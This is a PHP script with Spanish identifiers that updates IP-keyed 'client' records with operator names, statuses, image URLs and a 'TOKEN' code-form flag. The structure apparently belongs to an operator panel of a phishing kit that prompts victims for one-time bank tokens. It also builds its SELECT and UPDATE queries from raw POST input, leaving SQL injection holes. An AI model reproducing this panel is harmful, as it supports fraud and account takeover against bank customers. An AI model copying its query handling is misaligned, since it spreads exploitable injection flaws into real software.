<?php
header('Content-Type: application/json; charset=utf-8');
date_default_timezone_set("America/Caracas");
session_start();
require('config/conexion.php');

$fecha_actual = strftime("%Y-%m-%d %H:%M:%S", time());

if (!isset($_SESSION['usuario'])) {
    header('Location: index.php');
    exit();
}

$ip_user   = $_POST["ip"];
$status    = $_POST["status"];
$code_form = $_POST["code_form"];
$imagen    = $_POST["imagen"];
$operador_nuevo  = trim($_POST["operador"]);

if ($ip_user == '') return;

function convertirFechaHoraNumerico($fechaHora) {
    return str_replace(['-', ' ', ':'], '', $fechaHora);
}

$tiempo_actual = convertirFechaHoraNumerico($fecha_actual);

$consulta2 = "SELECT * FROM tabla_clientes WHERE ip = '$ip_user'";
$resultado2 = mysqli_query($conexion, $consulta2) or die("Error en la consulta");

if (mysqli_num_rows($resultado2) > 0) {
    $fila = mysqli_fetch_assoc($resultado2);
    $operador_actual = trim($fila['operador']);

    // Convertir a array eliminando espacios innecesarios
    $operadores_existentes = array_map('trim', explode('|', $operador_actual));

    // Verificar si el operador nuevo ya está
    if (!in_array($operador_nuevo, $operadores_existentes)) {
        if (!empty($operador_actual)) {
            $operador_completo = $operador_actual . " | " . $operador_nuevo;
        } else {
            $operador_completo = $operador_nuevo;
        }
    } else {
        // Ya existe, mantener igual
        $operador_completo = $operador_actual;
    }

    // Anexos según condición
    $ANEXO_CODE = ($code_form == 'TOKEN') ? ', tipo_code2="TOKEN"' : '';
    $ANEXO_ss   = ($status == '3' || $status == '4') ? ', valid_code1="9", tipo_code2="--", code_form=""' : '';

    $sql = "UPDATE tabla_clientes SET 
                operador='$operador_completo', 
                valid_user_0='$status', 
                url_imagen1='$imagen', 
                code_form='$code_form' 
                $ANEXO_CODE 
                $ANEXO_ss 
            WHERE ip = '$ip_user'";

    if (mysqli_query($conexion, $sql)) {
        $arr[] = array('guardo' => 'si', 'time' => $tiempo_actual);
    } else {
        $arr[] = array('guardo' => 'no');
    }
} else {
    $arr[] = array('guardo' => 'no');
}

echo json_encode($arr);
